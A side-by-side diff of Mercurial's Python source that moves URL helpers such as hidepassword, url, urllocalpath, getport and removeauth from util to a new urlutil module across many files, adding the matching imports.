dest = path.pushloc or path.loc dest = path.pushloc or path.loc
other = hg.peer(repo, opts, dest) other = hg.peer(repo, opts, dest)
try: try:
if b'bookmarks' not in other.listkeys(b'namespaces'): if b'bookmarks' not in other.listkeys(b'namespaces'):
ui.warn(_(b"remote doesn't support bookmarks\n")) ui.warn(_(b"remote doesn't support bookmarks\n"))
return 0 return 0
ui.status(_(b'comparing with %s\n') % util.hidepassword(dest)) ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest))
ui.pager(b'outgoing') ui.pager(b'outgoing')
return bookmarks.outgoing(ui, repo, other) return bookmarks.outgoing(ui, repo, other)
finally: finally:
other.close() other.close()
repo._subtoppath = path.pushloc or path.loc repo._subtoppath = path.pushloc or path.loc
try: try:
return hg.outgoing(ui, repo, dest, opts) return hg.outgoing(ui, repo, dest, opts)
for name, path in pycompat.iteritems(ui.paths) for name, path in pycompat.iteritems(ui.paths)
if name == search if name == search
] ]
else: else:
pathitems = sorted(pycompat.iteritems(ui.paths)) pathitems = sorted(pycompat.iteritems(ui.paths))
fm = ui.formatter(b'paths', opts) fm = ui.formatter(b'paths', opts)
if fm.isplain(): if fm.isplain():
hidepassword = util.hidepassword hidepassword = urlutil.hidepassword
else: else:
hidepassword = bytes hidepassword = bytes
if ui.quiet: if ui.quiet:
namefmt = b'%s\n' namefmt = b'%s\n'
else: else:
namefmt = b'%s = ' namefmt = b'%s = '
showsubopts = not search and not ui.quiet showsubopts = not search and not ui.quiet
raise error.InputError(msg, hint=hint) raise error.InputError(msg, hint=hint)
if not sources: if not sources:
sources = [b'default'] sources = [b'default']
for source in sources: for source in sources:
source, branches = hg.parseurl( source, branches = hg.parseurl(
ui.expandpath(source), opts.get(b'branch') ui.expandpath(source), opts.get(b'branch')
) )
ui.status(_(b'pulling from %s\n') % util.hidepassword(source)) ui.status(_(b'pulling from %s\n') % urlutil.hidepassword(source))
ui.flush() ui.flush()
other = hg.peer(repo, opts, source) other = hg.peer(repo, opts, source)
update_conflict = None update_conflict = None
try: try:
revs, checkout = hg.addbranchrevs( revs, checkout = hg.addbranchrevs(
repo, other, branches, opts.get(b'rev') repo, other, branches, opts.get(b'rev')
) )
path = ui.getpath(dest, default=(b'default-push', b'default')) path = ui.getpath(dest, default=(b'default-push', b'default'))
if not path: if not path:
raise error.ConfigError( raise error.ConfigError(
_(b'default repository not configured!'), _(b'default repository not configured!'),
hint=_(b"see 'hg help config.paths'"), hint=_(b"see 'hg help config.paths'"),
) )
dest = path.pushloc or path.loc dest = path.pushloc or path.loc
branches = (path.branch, opts.get(b'branch') or []) branches = (path.branch, opts.get(b'branch') or [])
ui.status(_(b'pushing to %s\n') % util.hidepassword(dest)) ui.status(_(b'pushing to %s\n') % urlutil.hidepassword(dest))
revs, checkout = hg.addbranchrevs( revs, checkout = hg.addbranchrevs(
repo, repo, branches, opts.get(b'rev') repo, repo, branches, opts.get(b'rev')
) )
other = hg.peer(repo, opts, dest) other = hg.peer(repo, opts, dest)
try: try:
if revs: if revs:
revs = [repo[r].node() for r in scmutil.revrange(repo, revs)] revs = [repo[r].node() for r in scmutil.revrange(repo, revs)]
other = hg.peer(repo, {}, source) other = hg.peer(repo, {}, source)
except error.RepoError: except error.RepoError:
if opts.get(b'remote'): if opts.get(b'remote'):
raise raise
return source, sbranch, None, None, None return source, sbranch, None, None, None
revs, checkout = hg.addbranchrevs(repo, other, branches, None) revs, checkout = hg.addbranchrevs(repo, other, branches, None)
if revs: if revs:
revs = [other.lookup(rev) for rev in revs] revs = [other.lookup(rev) for rev in revs]
ui.debug(b'comparing with %s\n' % util.hidepassword(source)) ui.debug(b'comparing with %s\n' % urlutil.hidepassword(source))
repo.ui.pushbuffer() repo.ui.pushbuffer()
commoninc = discovery.findcommonincoming(repo, other, heads=revs) commoninc = discovery.findcommonincoming(repo, other, heads=revs)
repo.ui.popbuffer() repo.ui.popbuffer()
return source, sbranch, other, commoninc, commoninc[1] return source, sbranch, other, commoninc, commoninc[1]
if needsincoming: if needsincoming:
source, sbranch, sother, commoninc, incoming = getincoming() source, sbranch, sother, commoninc, incoming = getincoming()
else: else:
source = sbranch = sother = commoninc = incoming = None source = sbranch = sother = commoninc = incoming = None
def getoutgoing(): def getoutgoing():
dest, branches = hg.parseurl(ui.expandpath(b'default-push', b'default')) dest, branches = hg.parseurl(ui.expandpath(b'default-push', b'default'))
dbranch = branches[0] dbranch = branches[0]
revs, checkout = hg.addbranchrevs(repo, repo, branches, None) revs, checkout = hg.addbranchrevs(repo, repo, branches, None)
if source != dest: if source != dest:
try: try:
dother = hg.peer(repo, {}, dest) dother = hg.peer(repo, {}, dest)
except error.RepoError: except error.RepoError:
if opts.get(b'remote'): if opts.get(b'remote'):
raise raise
return dest, dbranch, None, None return dest, dbranch, None, None
ui.debug(b'comparing with %s\n' % util.hidepassword(dest)) ui.debug(b'comparing with %s\n' % urlutil.hidepassword(dest))
elif sother is None: elif sother is None:
# there is no explicit destination peer, but source one is invalid # there is no explicit destination peer, but source one is invalid
return dest, dbranch, None, None return dest, dbranch, None, None
else: else:
dother = sother dother = sother
if source != dest or (sbranch is not None and sbranch != dbranch): if source != dest or (sbranch is not None and sbranch != dbranch):
common = None common = None
else: else:
b'"hg unbundle"' b'"hg unbundle"'
), ),
hint=_(b'use "hg debugapplystreamclonebundle"'), hint=_(b'use "hg debugapplystreamclonebundle"'),
) )
url = b'bundle:' + fname url = b'bundle:' + fname
try: try:
txnname = b'unbundle' txnname = b'unbundle'
if not isinstance(gen, bundle2.unbundle20): if not isinstance(gen, bundle2.unbundle20):
txnname = b'unbundle\n%s' % util.hidepassword(url) txnname = b'unbundle\n%s' % urlutil.hidepassword(url)
with repo.transaction(txnname) as tr: with repo.transaction(txnname) as tr:
op = bundle2.applybundle( op = bundle2.applybundle(
repo, gen, tr, source=b'unbundle', url=url repo, gen, tr, source=b'unbundle', url=url
) )
except error.BundleUnknownFeatureError as exc: except error.BundleUnknownFeatureError as exc:
raise error.Abort( raise error.Abort(
_(b'%s: unknown bundle feature, %s') % (fname, exc), _(b'%s: unknown bundle feature, %s') % (fname, exc),
hint=_( hint=_(

mercurial/debugcommands.py

wireprotov2peer, wireprotov2peer,
) )
from .utils import ( from .utils import (
cborutil, cborutil,
compression, compression,
dateutil, dateutil,
procutil, procutil,
stringutil, stringutil,
urlutil,
) )
from .revlogutils import ( from .revlogutils import (
deltas as deltautil, deltas as deltautil,
nodemap, nodemap,
sidedata, sidedata,
) )
# make sure tests are repeatable # make sure tests are repeatable
random.seed(int(opts[b'seed'])) random.seed(int(opts[b'seed']))
if not remote_revs: if not remote_revs:
remoteurl, branches = hg.parseurl(ui.expandpath(remoteurl)) remoteurl, branches = hg.parseurl(ui.expandpath(remoteurl))
remote = hg.peer(repo, opts, remoteurl) remote = hg.peer(repo, opts, remoteurl)
ui.status(_(b'comparing with %s\n') % util.hidepassword(remoteurl)) ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(remoteurl))
else: else:
branches = (None, []) branches = (None, [])
remote_filtered_revs = scmutil.revrange( remote_filtered_revs = scmutil.revrange(
unfi, [b"not (::(%s))" % remote_revs] unfi, [b"not (::(%s))" % remote_revs]
) )
remote_filtered_revs = frozenset(remote_filtered_revs) remote_filtered_revs = frozenset(remote_filtered_revs)
def remote_func(x): def remote_func(x):
_( _(
b"there is no Mercurial repository here, and no " b"there is no Mercurial repository here, and no "
b"server specified" b"server specified"
) )
) )
source = b"default" source = b"default"
source, branches = hg.parseurl(ui.expandpath(source)) source, branches = hg.parseurl(ui.expandpath(source))
url = util.url(source) url = urlutil.url(source)
defaultport = {b'https': 443, b'ssh': 22} defaultport = {b'https': 443, b'ssh': 22}
if url.scheme in defaultport: if url.scheme in defaultport:
try: try:
addr = (url.host, int(url.port or defaultport[url.scheme])) addr = (url.host, int(url.port or defaultport[url.scheme]))
except ValueError: except ValueError:
raise error.Abort(_(b"malformed port number in URL")) raise error.Abort(_(b"malformed port number in URL"))
else: else:
stderr, stderr,
autoreadstderr=autoreadstderr, autoreadstderr=autoreadstderr,
) )
elif path: elif path:
# We bypass hg.peer() so we can proxy the sockets. # We bypass hg.peer() so we can proxy the sockets.
# TODO consider not doing this because we skip # TODO consider not doing this because we skip
# ``hg.wirepeersetupfuncs`` and potentially other useful functionality. # ``hg.wirepeersetupfuncs`` and potentially other useful functionality.
u = util.url(path) u = urlutil.url(path)
if u.scheme != b'http': if u.scheme != b'http':
raise error.Abort(_(b'only http:// paths are currently supported')) raise error.Abort(_(b'only http:// paths are currently supported'))
url, authinfo = u.authinfo() url, authinfo = u.authinfo()
openerargs = { openerargs = {
'useragent': b'Mercurial debugwireproto', 'useragent': b'Mercurial debugwireproto',
} }

mercurial/exchange.py

streamclone, streamclone,
url as urlmod, url as urlmod,
util, util,
wireprototypes, wireprototypes,
) )
from .utils import ( from .utils import (
hashutil, hashutil,
stringutil, stringutil,
urlutil,
) )
urlerr = util.urlerr urlerr = util.urlerr
urlreq = util.urlreq urlreq = util.urlreq
_NARROWACL_SECTION = b'narrowacl' _NARROWACL_SECTION = b'narrowacl'
self.repo = repo self.repo = repo
self.source = source self.source = source
self.url = url self.url = url
self._tr = None self._tr = None
def transaction(self): def transaction(self):
"""Return an open transaction object, constructing if necessary""" """Return an open transaction object, constructing if necessary"""
if not self._tr: if not self._tr:
trname = b'%s\n%s' % (self.source, util.hidepassword(self.url)) trname = b'%s\n%s' % (self.source, urlutil.hidepassword(self.url))
self._tr = self.repo.transaction(trname) self._tr = self.repo.transaction(trname)
self._tr.hookargs[b'source'] = self.source self._tr.hookargs[b'source'] = self.source
self._tr.hookargs[b'url'] = self.url self._tr.hookargs[b'url'] = self.url
return self._tr return self._tr
def close(self): def close(self):
"""close transaction if created""" """close transaction if created"""
if self._tr is not None: if self._tr is not None:
captureoutput = True captureoutput = True
try: try:
# note: outside bundle1, 'heads' is expected to be empty and this # note: outside bundle1, 'heads' is expected to be empty and this
# 'check_heads' call wil be a no-op # 'check_heads' call wil be a no-op
check_heads(repo, heads, b'uploading changes') check_heads(repo, heads, b'uploading changes')
# push can proceed # push can proceed
if not isinstance(cg, bundle2.unbundle20): if not isinstance(cg, bundle2.unbundle20):
# legacy case: bundle1 (changegroup 01) # legacy case: bundle1 (changegroup 01)
txnname = b"\n".join([source, util.hidepassword(url)]) txnname = b"\n".join([source, urlutil.hidepassword(url)])
with repo.lock(), repo.transaction(txnname) as tr: with repo.lock(), repo.transaction(txnname) as tr:
op = bundle2.applybundle(repo, cg, tr, source, url) op = bundle2.applybundle(repo, cg, tr, source, url)
r = bundle2.combinechangegroupresults(op) r = bundle2.combinechangegroupresults(op)
else: else:
r = None r = None
try: try:
def gettransaction(): def gettransaction():

mercurial/hg.py

url, url,
util, util,
verify as verifymod, verify as verifymod,
vfs as vfsmod, vfs as vfsmod,
) )
from .utils import ( from .utils import (
hashutil, hashutil,
stringutil, stringutil,
urlutil,
) )
release = lock.release release = lock.release
# shared features # shared features
sharedbookmarks = b'bookmarks' sharedbookmarks = b'bookmarks'
def _local(path): def _local(path):
path = util.expandpath(util.urllocalpath(path)) path = util.expandpath(urlutil.urllocalpath(path))
try: try:
# we use os.stat() directly here instead of os.path.isfile() # we use os.stat() directly here instead of os.path.isfile()
# because the latter started returning `False` on invalid path # because the latter started returning `False` on invalid path
# exceptions starting in 3.8 and we care about handling # exceptions starting in 3.8 and we care about handling
# invalid paths specially here. # invalid paths specially here.
st = os.stat(path) st = os.stat(path)
isfile = stat.S_ISREG(st.st_mode) isfile = stat.S_ISREG(st.st_mode)
if not primary(hashbranch): if not primary(hashbranch):
revs.append(hashbranch) revs.append(hashbranch)
return revs, revs[0] return revs, revs[0]
def parseurl(path, branches=None): def parseurl(path, branches=None):
'''parse url#branch, returning (url, (branch, branches))''' '''parse url#branch, returning (url, (branch, branches))'''
u = util.url(path) u = urlutil.url(path)
branch = None branch = None
if u.fragment: if u.fragment:
branch = u.fragment branch = u.fragment
u.fragment = None u.fragment = None
return bytes(u), (branch, branches or []) return bytes(u), (branch, branches or [])
schemes = { schemes = {
b'bundle': bundlerepo, b'bundle': bundlerepo,
b'union': unionrepo, b'union': unionrepo,
b'file': _local, b'file': _local,
b'http': httppeer, b'http': httppeer,
b'https': httppeer, b'https': httppeer,
b'ssh': sshpeer, b'ssh': sshpeer,
b'static-http': statichttprepo, b'static-http': statichttprepo,
} }
def _peerlookup(path): def _peerlookup(path):
u = util.url(path) u = urlutil.url(path)
scheme = u.scheme or b'file' scheme = u.scheme or b'file'
thing = schemes.get(scheme) or schemes[b'file'] thing = schemes.get(scheme) or schemes[b'file']
try: try:
return thing(path) return thing(path)
except TypeError: except TypeError:
# we can't test callable(thing) because 'thing' can be an unloaded # we can't test callable(thing) because 'thing' can be an unloaded
# module that implements __call__ # module that implements __call__
if not util.safehasattr(thing, b'instance'): if not util.safehasattr(thing, b'instance'):
raise raise
return thing return thing
def islocal(repo): def islocal(repo):
'''return true if repo (or path pointing to repo) is local''' '''return true if repo (or path pointing to repo) is local'''
if isinstance(repo, bytes): if isinstance(repo, bytes):
try: try:
return _peerlookup(repo).islocal(repo) return _peerlookup(repo).islocal(repo)
except AttributeError: except AttributeError:
return False return False
return repo.local() return repo.local()
def openpath(ui, path, sendaccept=True): def openpath(ui, path, sendaccept=True):
'''open path with open if local, url.open if remote''' '''open path with open if local, url.open if remote'''
pathurl = util.url(path, parsequery=False, parsefragment=False) pathurl = urlutil.url(path, parsequery=False, parsefragment=False)
if pathurl.islocal(): if pathurl.islocal():
return util.posixfile(pathurl.localpath(), b'rb') return util.posixfile(pathurl.localpath(), b'rb')
else: else:
return url.open(ui, path, sendaccept=sendaccept) return url.open(ui, path, sendaccept=sendaccept)
# a list of (ui, repo) functions called for wire peer initialization # a list of (ui, repo) functions called for wire peer initialization
wirepeersetupfuncs = [] wirepeersetupfuncs = []
'' ''
>>> defaultdest(b'') >>> defaultdest(b'')
'' ''
>>> defaultdest(b'http://example.org/') >>> defaultdest(b'http://example.org/')
'' ''
>>> defaultdest(b'http://example.org/foo/') >>> defaultdest(b'http://example.org/foo/')
'foo' 'foo'
""" """
path = util.url(source).path path = urlutil.url(source).path
if not path: if not path:
return b'' return b''
return os.path.basename(os.path.normpath(path)) return os.path.basename(os.path.normpath(path))
def sharedreposource(repo): def sharedreposource(repo):
"""Returns repository object for source repository of a shared repo. """Returns repository object for source repository of a shared repo.
pull=True, pull=True,
revs=rev, revs=rev,
update=False, update=False,
stream=stream, stream=stream,
) )
# Resolve the value to put in [paths] section for the source. # Resolve the value to put in [paths] section for the source.
if islocal(source): if islocal(source):
defaultpath = os.path.abspath(util.urllocalpath(source)) defaultpath = os.path.abspath(urlutil.urllocalpath(source))
else: else:
defaultpath = source defaultpath = source
sharerepo = repository(ui, path=sharepath) sharerepo = repository(ui, path=sharepath)
destrepo = share( destrepo = share(
ui, ui,
sharerepo, sharerepo,
dest=dest, dest=dest,
if dest is None: if dest is None:
dest = defaultdest(source) dest = defaultdest(source)
if dest: if dest:
ui.status(_(b"destination directory: %s\n") % dest) ui.status(_(b"destination directory: %s\n") % dest)
else: else:
dest = ui.expandpath(dest) dest = ui.expandpath(dest)
dest = util.urllocalpath(dest) dest = urlutil.urllocalpath(dest)
source = util.urllocalpath(source) source = urlutil.urllocalpath(source)
if not dest: if not dest:
raise error.InputError(_(b"empty destination path is not valid")) raise error.InputError(_(b"empty destination path is not valid"))
destvfs = vfsmod.vfs(dest, expandpath=True) destvfs = vfsmod.vfs(dest, expandpath=True)
if destvfs.lexists(): if destvfs.lexists():
if not destvfs.isdir(): if not destvfs.isdir():
raise error.InputError( raise error.InputError(
update=update, update=update,
stream=stream, stream=stream,
) )
srcrepo = srcpeer.local() srcrepo = srcpeer.local()
abspath = origsource abspath = origsource
if islocal(origsource): if islocal(origsource):
abspath = os.path.abspath(util.urllocalpath(origsource)) abspath = os.path.abspath(urlutil.urllocalpath(origsource))
if islocal(dest): if islocal(dest):
cleandir = dest cleandir = dest
copy = False copy = False
if ( if (
srcrepo srcrepo
and srcrepo.cancopy() and srcrepo.cancopy()
revs = None revs = None
local = destpeer.local() local = destpeer.local()
if local: if local:
if narrow: if narrow:
with local.wlock(), local.lock(): with local.wlock(), local.lock():
local.setnarrowpats(storeincludepats, storeexcludepats) local.setnarrowpats(storeincludepats, storeexcludepats)
narrowspec.copytoworkingcopy(local) narrowspec.copytoworkingcopy(local)
u = util.url(abspath) u = urlutil.url(abspath)
defaulturl = bytes(u) defaulturl = bytes(u)
local.ui.setconfig(b'paths', b'default', defaulturl, b'clone') local.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
if not stream: if not stream:
if pull: if pull:
stream = False stream = False
else: else:
stream = None stream = None
# internal config: ui.quietbookmarkmove # internal config: ui.quietbookmarkmove
_(b"clone from remote to remote not supported") _(b"clone from remote to remote not supported")
) )
cleandir = None cleandir = None
destrepo = destpeer.local() destrepo = destpeer.local()
if destrepo: if destrepo:
template = uimod.samplehgrcs[b'cloned'] template = uimod.samplehgrcs[b'cloned']
u = util.url(abspath) u = urlutil.url(abspath)
u.passwd = None u.passwd = None
defaulturl = bytes(u) defaulturl = bytes(u)
destrepo.vfs.write(b'hgrc', util.tonativeeol(template % defaulturl)) destrepo.vfs.write(b'hgrc', util.tonativeeol(template % defaulturl))
destrepo.ui.setconfig(b'paths', b'default', defaulturl, b'clone') destrepo.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
if ui.configbool(b'experimental', b'remotenames'): if ui.configbool(b'experimental', b'remotenames'):
logexchange.pullremotenames(destrepo, srcpeer) logexchange.pullremotenames(destrepo, srcpeer)
displaychlist gets called with displaychlist gets called with
(remoterepo, incomingchangesetlist, displayer) parameters, (remoterepo, incomingchangesetlist, displayer) parameters,
and is supposed to contain only code that can't be unified. and is supposed to contain only code that can't be unified.
""" """
source, branches = parseurl(ui.expandpath(source), opts.get(b'branch')) source, branches = parseurl(ui.expandpath(source), opts.get(b'branch'))
other = peer(repo, opts, source) other = peer(repo, opts, source)
cleanupfn = other.close cleanupfn = other.close
try: try:
ui.status(_(b'comparing with %s\n') % util.hidepassword(source)) ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(source))
revs, checkout = addbranchrevs(repo, other, branches, opts.get(b'rev')) revs, checkout = addbranchrevs(repo, other, branches, opts.get(b'rev'))
if revs: if revs:
revs = [other.lookup(rev) for rev in revs] revs = [other.lookup(rev) for rev in revs]
other, chlist, cleanupfn = bundlerepo.getremotechanges( other, chlist, cleanupfn = bundlerepo.getremotechanges(
ui, repo, other, revs, opts[b"bundle"], opts[b"force"] ui, repo, other, revs, opts[b"bundle"], opts[b"force"]
) )
if not path: if not path:
raise error.Abort( raise error.Abort(
_(b'default repository not configured!'), _(b'default repository not configured!'),
hint=_(b"see 'hg help config.paths'"), hint=_(b"see 'hg help config.paths'"),
) )
dest = path.pushloc or path.loc dest = path.pushloc or path.loc
branches = path.branch, opts.get(b'branch') or [] branches = path.branch, opts.get(b'branch') or []
ui.status(_(b'comparing with %s\n') % util.hidepassword(dest)) ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest))
revs, checkout = addbranchrevs(repo, repo, branches, opts.get(b'rev')) revs, checkout = addbranchrevs(repo, repo, branches, opts.get(b'rev'))
if revs: if revs:
revs = [repo[rev].node() for rev in scmutil.revrange(repo, revs)] revs = [repo[rev].node() for rev in scmutil.revrange(repo, revs)]
other = peer(repo, opts, dest) other = peer(repo, opts, dest)
try: try:
outgoing = discovery.findcommonoutgoing( outgoing = discovery.findcommonoutgoing(
repo, other, revs, force=opts.get(b'force') repo, other, revs, force=opts.get(b'force')

mercurial/hgweb/request.py

from ..thirdparty import attr from ..thirdparty import attr
from .. import ( from .. import (
encoding, encoding,
error, error,
pycompat, pycompat,
util, util,
) )
from ..utils import (
urlutil,
)
class multidict(object): class multidict(object):
"""A dict like object that can store multiple values for a key. """A dict like object that can store multiple values for a key.
Used to store parsed request parameters. Used to store parsed request parameters.
This is inspired by WebOb's class of the same name. This is inspired by WebOb's class of the same name.
# Some hosting solutions are emulating hgwebdir, and dispatching directly # Some hosting solutions are emulating hgwebdir, and dispatching directly
# to an hgweb instance using this environment variable. This was always # to an hgweb instance using this environment variable. This was always
# checked prior to d7fd203e36cc; keep doing so to avoid breaking them. # checked prior to d7fd203e36cc; keep doing so to avoid breaking them.
if not reponame: if not reponame:
reponame = env.get(b'REPO_NAME') reponame = env.get(b'REPO_NAME')
if altbaseurl: if altbaseurl:
altbaseurl = util.url(altbaseurl) altbaseurl = urlutil.url(altbaseurl)
# https://www.python.org/dev/peps/pep-0333/#environ-variables defines # https://www.python.org/dev/peps/pep-0333/#environ-variables defines
# the environment variables. # the environment variables.
# https://www.python.org/dev/peps/pep-0333/#url-reconstruction defines # https://www.python.org/dev/peps/pep-0333/#url-reconstruction defines
# how URLs are reconstructed. # how URLs are reconstructed.
fullurl = env[b'wsgi.url_scheme'] + b'://' fullurl = env[b'wsgi.url_scheme'] + b'://'
if altbaseurl and altbaseurl.scheme: if altbaseurl and altbaseurl.scheme:

mercurial/hgweb/server.py

) )
from .. import ( from .. import (
encoding, encoding,
error, error,
pycompat, pycompat,
util, util,
) )
from ..utils import (
urlutil,
)
httpservermod = util.httpserver httpservermod = util.httpserver
socketserver = util.socketserver socketserver = util.socketserver
urlerr = util.urlerr urlerr = util.urlerr
urlreq = util.urlreq urlreq = util.urlreq
from . import common from . import common
except AttributeError: except AttributeError:
reload(sys) reload(sys)
oldenc = sys.getdefaultencoding() oldenc = sys.getdefaultencoding()
sys.setdefaultencoding(b"latin1") # or any full 8-bit encoding sys.setdefaultencoding(b"latin1") # or any full 8-bit encoding
mimetypes.init() mimetypes.init()
sys.setdefaultencoding(oldenc) sys.setdefaultencoding(oldenc)
address = ui.config(b'web', b'address') address = ui.config(b'web', b'address')
port = util.getport(ui.config(b'web', b'port')) port = urlutil.getport(ui.config(b'web', b'port'))
try: try:
return cls(ui, app, (address, port), handler) return cls(ui, app, (address, port), handler)
except socket.error as inst: except socket.error as inst:
raise error.Abort( raise error.Abort(
_(b"cannot start server at '%s:%d': %s") _(b"cannot start server at '%s:%d': %s")
% (address, port, encoding.strtolocal(inst.args[1])) % (address, port, encoding.strtolocal(inst.args[1]))
) )

mercurial/httpconnection.py

import os import os
from .i18n import _ from .i18n import _
from .pycompat import open from .pycompat import open
from . import ( from . import (
pycompat, pycompat,
util, util,
) )
from .utils import (
urlutil,
)
urlerr = util.urlerr urlerr = util.urlerr
urlreq = util.urlreq urlreq = util.urlreq
# moved here from url.py to avoid a cycle # moved here from url.py to avoid a cycle
class httpsendfile(object): class httpsendfile(object):
"""This is a wrapper around the objects returned by python's "open". """This is a wrapper around the objects returned by python's "open".
if user and user != auth.get(b'username', user): if user and user != auth.get(b'username', user):
# If a username was set in the URI, the entry username # If a username was set in the URI, the entry username
# must either match it or be unset # must either match it or be unset
continue continue
prefix = auth.get(b'prefix') prefix = auth.get(b'prefix')
if not prefix: if not prefix:
continue continue
prefixurl = util.url(prefix) prefixurl = urlutil.url(prefix)
if prefixurl.user and prefixurl.user != user: if prefixurl.user and prefixurl.user != user:
# If a username was set in the prefix, it must match the username in # If a username was set in the prefix, it must match the username in
# the URI. # the URI.
continue continue
# The URI passed in has been stripped of credentials, so erase the user # The URI passed in has been stripped of credentials, so erase the user
# here to allow simpler matching. # here to allow simpler matching.
prefixurl.user = None prefixurl.user = None

mercurial/httppeer.py

) )
from .interfaces import ( from .interfaces import (
repository, repository,
util as interfaceutil, util as interfaceutil,
) )
from .utils import ( from .utils import (
cborutil, cborutil,
stringutil, stringutil,
urlutil,
) )
httplib = util.httplib httplib = util.httplib
urlerr = util.urlerr urlerr = util.urlerr
urlreq = util.urlreq urlreq = util.urlreq
def encodevalueinheaders(value, header, limit): def encodevalueinheaders(value, header, limit):
res = opener.open(req) res = opener.open(req)
except urlerr.httperror as inst: except urlerr.httperror as inst:
if inst.code == 401: if inst.code == 401:
raise error.Abort(_(b'authorization failed')) raise error.Abort(_(b'authorization failed'))
raise raise
except httplib.HTTPException as inst: except httplib.HTTPException as inst:
ui.debug( ui.debug(
b'http error requesting %s\n' b'http error requesting %s\n'
% util.hidepassword(req.get_full_url()) % urlutil.hidepassword(req.get_full_url())
) )
ui.traceback() ui.traceback()
raise IOError(None, inst) raise IOError(None, inst)
finally: finally:
if ui.debugflag and ui.configbool(b'devel', b'debug.peer-request'): if ui.debugflag and ui.configbool(b'devel', b'debug.peer-request'):
code = res.code if res else -1 code = res.code if res else -1
dbg( dbg(
line line
if not ui.quiet: if not ui.quiet:
ui.warn(_(b'real URL is %s\n') % respurl) ui.warn(_(b'real URL is %s\n') % respurl)
try: try:
proto = pycompat.bytesurl(resp.getheader('content-type', '')) proto = pycompat.bytesurl(resp.getheader('content-type', ''))
except AttributeError: except AttributeError:
proto = pycompat.bytesurl(resp.headers.get('content-type', '')) proto = pycompat.bytesurl(resp.headers.get('content-type', ''))
safeurl = util.hidepassword(baseurl) safeurl = urlutil.hidepassword(baseurl)
if proto.startswith(b'application/hg-error'): if proto.startswith(b'application/hg-error'):
raise error.OutOfBandError(resp.read()) raise error.OutOfBandError(resp.read())
# Pre 1.0 versions of Mercurial used text/plain and # Pre 1.0 versions of Mercurial used text/plain and
# application/hg-changegroup. We don't support such old servers. # application/hg-changegroup. We don't support such old servers.
if not proto.startswith(b'application/mercurial-'): if not proto.startswith(b'application/mercurial-'):
ui.debug(b"requested URL: '%s'\n" % util.hidepassword(requrl)) ui.debug(b"requested URL: '%s'\n" % urlutil.hidepassword(requrl))
msg = _( msg = _(
b"'%s' does not appear to be an hg repository:\n" b"'%s' does not appear to be an hg repository:\n"
b"---%%<--- (%s)\n%s\n---%%<---\n" b"---%%<--- (%s)\n%s\n---%%<---\n"
) % (safeurl, proto or b'no content-type', resp.read(1024)) ) % (safeurl, proto or b'no content-type', resp.read(1024))
# Some servers may strip the query string from the redirect. We # Some servers may strip the query string from the redirect. We
# raise a special error type so callers can react to this specially. # raise a special error type so callers can react to this specially.
if redirected and qsdropped: if redirected and qsdropped:
"""Construct an appropriate HTTP peer instance. """Construct an appropriate HTTP peer instance.
``opener`` is an ``url.opener`` that should be used to establish ``opener`` is an ``url.opener`` that should be used to establish
connections, perform HTTP requests. connections, perform HTTP requests.
``requestbuilder`` is the type used for constructing HTTP requests. ``requestbuilder`` is the type used for constructing HTTP requests.
It exists as an argument so extensions can override the default. It exists as an argument so extensions can override the default.
""" """
u = util.url(path) u = urlutil.url(path)
if u.query or u.fragment: if u.query or u.fragment:
raise error.Abort( raise error.Abort(
_(b'unsupported URL component: "%s"') % (u.query or u.fragment) _(b'unsupported URL component: "%s"') % (u.query or u.fragment)
) )
# urllib cannot handle URLs with embedded user or passwd. # urllib cannot handle URLs with embedded user or passwd.
url, authinfo = u.authinfo() url, authinfo = u.authinfo()
ui.debug(b'using %s\n' % url) ui.debug(b'using %s\n' % url)

mercurial/localrepo.py

repository, repository,
util as interfaceutil, util as interfaceutil,
) )
from .utils import ( from .utils import (
hashutil, hashutil,
procutil, procutil,
stringutil, stringutil,
urlutil,
) )
from .revlogutils import ( from .revlogutils import (
concurrency_checker as revlogchecker, concurrency_checker as revlogchecker,
constants as revlogconst, constants as revlogconst,
) )
release = lockmod.release release = lockmod.release
def undoname(fn): def undoname(fn):
base, name = os.path.split(fn) base, name = os.path.split(fn)
assert name.startswith(b'journal') assert name.startswith(b'journal')
return os.path.join(base, name.replace(b'journal', b'undo', 1)) return os.path.join(base, name.replace(b'journal', b'undo', 1))
def instance(ui, path, create, intents=None, createopts=None): def instance(ui, path, create, intents=None, createopts=None):
localpath = util.urllocalpath(path) localpath = urlutil.urllocalpath(path)
if create: if create:
createrepository(ui, localpath, createopts=createopts) createrepository(ui, localpath, createopts=createopts)
return makelocalrepository(ui, localpath, intents=intents) return makelocalrepository(ui, localpath, intents=intents)
def islocal(path): def islocal(path):
return True return True

mercurial/logexchange.py

from .node import hex from .node import hex
from . import ( from . import (
pycompat, pycompat,
util, util,
vfs as vfsmod, vfs as vfsmod,
) )
from .utils import (
urlutil,
)
# directory name in .hg/ in which remotenames files will be present # directory name in .hg/ in which remotenames files will be present
remotenamedir = b'logexchange' remotenamedir = b'logexchange'
def readremotenamefile(repo, filename): def readremotenamefile(repo, filename):
""" """
reads a file from .hg/logexchange/ directory and yields it's content reads a file from .hg/logexchange/ directory and yields it's content
if local: if local:
rpath = util.pconvert(remote._repo.root) rpath = util.pconvert(remote._repo.root)
elif not isinstance(remote, bytes): elif not isinstance(remote, bytes):
rpath = remote._url rpath = remote._url
# represent the remotepath with user defined path name if exists # represent the remotepath with user defined path name if exists
for path, url in repo.ui.configitems(b'paths'): for path, url in repo.ui.configitems(b'paths'):
# remove auth info from user defined url # remove auth info from user defined url
noauthurl = util.removeauth(url) noauthurl = urlutil.removeauth(url)
# Standardize on unix style paths, otherwise some {remotenames} end up # Standardize on unix style paths, otherwise some {remotenames} end up
# being an absolute path on Windows. # being an absolute path on Windows.
url = util.pconvert(bytes(url)) url = util.pconvert(bytes(url))
noauthurl = util.pconvert(noauthurl) noauthurl = util.pconvert(noauthurl)
if url == rpath or noauthurl == rpath: if url == rpath or noauthurl == rpath:
rpath = path rpath = path
break break

mercurial/mail.py

error, error,
pycompat, pycompat,
sslutil, sslutil,
util, util,
) )
from .utils import ( from .utils import (
procutil, procutil,
stringutil, stringutil,
urlutil,
) )
if pycompat.TYPE_CHECKING: if pycompat.TYPE_CHECKING:
from typing import Any, List, Tuple, Union from typing import Any, List, Tuple, Union
# keep pyflakes happy # keep pyflakes happy
assert all((Any, List, Tuple, Union)) assert all((Any, List, Tuple, Union))
elif starttls: elif starttls:
